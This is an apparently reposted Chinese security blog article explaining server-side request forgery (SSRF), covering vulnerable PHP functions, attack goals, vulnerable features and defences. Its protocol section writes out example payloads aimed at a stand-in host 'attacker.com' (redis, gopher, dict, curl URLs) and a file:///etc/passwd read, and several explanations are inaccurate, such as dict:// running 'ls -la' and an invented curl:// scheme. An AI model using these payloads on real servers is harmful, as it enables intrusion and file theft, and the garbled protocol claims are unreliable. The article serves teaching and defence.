【漏洞浅谈】SSRF详解

admin 2023年3月15日03:57:31评论14 views字数 4473阅读14分54秒阅读模式

点击关注公众号,知识干货及时送达👇

【漏洞浅谈】SSRF详解

一、漏洞简介

SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞通常是由于目标应用程序没有正确验证用户提供的输入数据,而导致攻击者可以发送伪造的请求,从而绕过网络防御,获取敏感信息或利用其他漏洞进行进一步攻击。造成ssrf漏洞的主要函数主要有:

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。readfile():输出一个文件的内容。fsockopen():打开一个网络连接或者一个Unix 套接字连接。curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。fopen():打开一个文件文件或者 URL。
【漏洞浅谈】SSRF详解

二、利用方法

  1. 探测内部网络
攻击者可以通过发送HTTP或者其他协议的请求,探测目标服务器的内部网络。攻击者可以利用这些请求,获取内部敏感信息(例如:访问内部服务、敏感端口(如数据库端口)等),进而获取目标系统的完全控制权。
  1. 利用其他应用程序漏洞
攻击者可以通过利用SSRF漏洞攻击其他与目标服务器通信的应用程序,包括云服务、第三方API等,利用它们的漏洞来实现攻击目的。例如,攻击者可以通过利用SSRF漏洞,攻击云服务中的元数据服务(metadata service)或者其他敏感服务(如AWS S3),获取敏感信息或者直接获取目标服务器的权限。
  1. 发起DDoS攻击
攻击者可以利用SSRF漏洞发起大量伪造请求,使目标服务器超负荷,从而导致拒绝服务攻击(DDoS)。攻击者可以将请求发送到其他服务(如DNS或者NTP)或者将请求发送到目标服务器上的一些不常用端口,这样就可以轻松地发起DDoS攻击。
  1. 利用敏感服务
攻击者可以利用SSRF漏洞发送伪造请求,访问敏感服务,获取敏感信息或者实现其他攻击。例如,攻击者可以利用SSRF漏洞,发送伪造的请求,获取目标服务器上的密码文件、私钥、访问控制文件等敏感信息,从而获取服务器的完全控制权。
【漏洞浅谈】SSRF详解

三、常见SSRF漏洞场景

  1. 转码服务:当应用程序允许用户提交URL或远程文件进行转码或解码时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL或文件,使应用程序执行未经授权的操作并泄漏敏感信息。
  2. 在线翻译:当应用程序允许用户输入要翻译的文本并将其发送到远程翻译服务时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,让远程翻译服务将敏感信息发送给攻击者。
  3. 图片加载与下载:当应用程序允许用户通过URL地址加载或下载图片时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL地址,将图片加载到包含敏感信息的服务器上。
  4. 图片、文章收藏功能:当应用程序允许用户将图片或文章保存到收藏夹中时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,将图片或文章发送到包含敏感信息的服务器上。
  5. 网站采集、网页抓取的地方:当应用程序允许用户采集或抓取网页时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,将抓取到的网页发送到包含敏感信息的服务器上。
  6. 头像的地方:当应用程序允许用户上传或远程加载头像时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL地址,将头像加载到包含恶意代码的服务器上。
  7. 所有可以输入URL地址或者IP地址的地方都有可能存在SSRF漏洞。攻击者可以通过构造恶意的URL或IP地址,访问应用程序不应该访问的资源。
【漏洞浅谈】SSRF详解

四、SSRF利用的主要协议

1,Redis协议是一种用于与Redis数据库进行交互的协议。在SSRF攻击中,攻击者可以使用Redis协议来在目标服务器上执行任意命令或读取任意文件。

Redis URL的格式为:

redis://<host>:<port>/<command>

其中,<host>表示Redis服务器的IP地址或主机名,<port>表示Redis服务器的端口号,<command>表示要执行的Redis命令。

例如,下面是一个使用Redis协议进行SSRF攻击的例子:

redis://attacker.com:6379/CONFIG%20SET%20dir%20/etc/nginx/

上面的例子中,攻击者将<host>参数设置为自己的服务器地址,<port>参数设置为6379端口,<command>参数设置为要执行的Redis命令(在这个例子中是CONFIG SET dir /etc/nginx/命令)。当目标服务器访问这个URL时,它将尝试连接到attacker.com的6379端口,并执行Redis命令,将结果返回给攻击者。

2,File协议是一种URI协议,用于在本地文件系统上获取文件内容。在SSRF攻击中,攻击者可以使用File协议来读取目标服务器上的敏感文件,例如/etc/passwd文件等。

File URL的格式为:

file://<path>

其中,<path>表示要访问的文件路径。在SSRF攻击中,攻击者通常会将<path>参数设置为目标服务器上的敏感文件路径,例如/etc/passwd文件等。

例如,下面是一个使用File协议进行SSRF攻击的例子:

file:///etc/passwd

上面的例子中,攻击者将<path>参数设置为/etc/passwd文件路径。当目标服务器访问这个URL时,它将在本地文件系统上查找/etc/passwd文件,并将文件内容返回给攻击者。

3,Gopher URL的格式为:

gopher://<host>:<port>/<gopher-path>

其中,<host>表示Gopher服务器的IP地址或域名,<port>表示Gopher服务器的端口号,<gopher-path>表示Gopher服务器上的文件路径或查询字符串。

在SSRF攻击中,攻击者通常会将Gopher URL中的<host>参数设置为攻击者控制的主机,<port>参数设置为攻击者监听的端口,<gopher-path>参数设置为攻击者想要执行的命令或访问的资源。

例如,下面是一个使用Gopher协议进行SSRF攻击的例子:

gopher://attacker.com:8000/_GET%20/index.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0A


上面的例子中,攻击者将<host>参数设置为attacker.com,<port>参数设置为8000,<gopher-path>参数设置为执行GET /index.php命令。当目标服务器访问这个URL时,它将向attacker.com的8000端口发送GET /index.php命令,并将结果返回给攻击者。

4,Dict协议是一种URI协议,用于在本地字典文件中查找单词的定义。在SSRF攻击中,攻击者可以使用Dict协议来在目标服务器上执行任意命令或读取任意文件。

Dict URL的格式为:

dict://<host>:<port>/<command>

其中,<host>表示字典服务器的IP地址或主机名,<port>表示字典服务器的端口号,<command>表示要执行的命令或读取的文件名。

例如,下面是一个使用Dict协议进行SSRF攻击的例子:

dict://attacker.com:80/ls%20-la

上面的例子中,攻击者将<host>参数设置为自己的服务器地址,<port>参数设置为80端口,<command>参数设置为要执行的命令(在这个例子中是ls -la命令)。当目标服务器访问这个URL时,它将尝试连接到attacker.com的80端口,并执行ls -la命令,将结果返回给攻击者。

5,在SSRF攻击中,攻击者可以利用http协议进行攻击,从而在目标服务器上执行任意HTTP请求或读取任意文件。攻击者可以使用http协议发起GET或POST请求,以便执行恶意代码或读取敏感数据。

HTTP协议的URL格式如下:

http://<host>:<port>/<path>?<query>

其中,<host>表示要访问的主机名或IP地址,<port>表示端口号,默认为80,<path>表示要请求的资源路径,<query>表示请求参数。

下面是一个使用http协议进行SSRF攻击的例子:

http://example.com:80/admin.php?url=http://attacker.com/evil.php

上面的例子中,攻击者将<host>参数设置为example.com,<port>参数设置为80,<path>参数设置为admin.php,<query>参数设置为url=http://attacker.com/evil.php。当目标服务器访问这个URL时,它将尝试连接到attacker.com的80端口,并请求/evil.php资源,将结果返回给攻击者。

6,Curl协议是一种用于SSRF攻击的常见协议,它允许攻击者利用目标服务器的Curl库,通过网络请求读取和写入文件。攻击者可以使用Curl协议来执行许多有害的操作,例如向外部服务器发送敏感数据、读取和写入本地文件等。

Curl协议的URL格式如下:

curl://<host>:<port>/<path>

其中,<host>表示要访问的主机名或IP地址,<port>表示端口号,默认为80,<path>表示要请求的资源路径。

下面是一个使用Curl协议进行SSRF攻击的例子:

curl://attacker.com:80/evil.php

上面的例子中,攻击者将<host>参数设置为attacker.com,<port>参数设置为80,<path>参数设置为/evil.php。当目标服务器访问这个URL时,它将尝试使用Curl协议连接到attacker.com的80端口,并请求/evil.php资源,将结果返回给攻击者。

【漏洞浅谈】SSRF详解

五、防御措施

  1. 对用户输入进行验证和过滤:应该对所有输入参数进行验证和过滤,包括URL、表单数据、HTTP头部等。
  2. 使用白名单限制网络访问:应该使用白名单来限制所有可能的网络访问,只允许应用程序所需的最小限度的网络访问。
  3. 使用参数化查询:在处理用户输入时,应该使用参数化查询,避免拼接SQL查询语句,从而避免SQL注入攻击。
  4. 使用沙箱:将应用程序隔离在一个沙箱中,限制其对系统资源的访问,从而减少攻击面。
  5. 更新和修复漏洞:定期更新应用程序和操作系统,包括所有的安全补丁和漏洞修复。
  6. 启用网络访问控制:通过网络访问控制(NAC)等技术来防止SSRF攻击。
  7. 禁用危险的协议和功能:例如,禁用file://、gopher://等协议,以及禁用内部地址、私有地址等功能。

  8. 强化安全意识教育:加强安全意识教育,使用户知晓SSRF攻击的危害性,注意保护自己的信息。


- End -

点击下方名片,关注我们
觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标【漏洞浅谈】SSRF详解

原文始发于微信公众号(赤弋安全团队):【漏洞浅谈】SSRF详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月15日03:57:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞浅谈】SSRF详解http://cn-sec.com/archives/1601400.html

发表评论

匿名网友 填写信息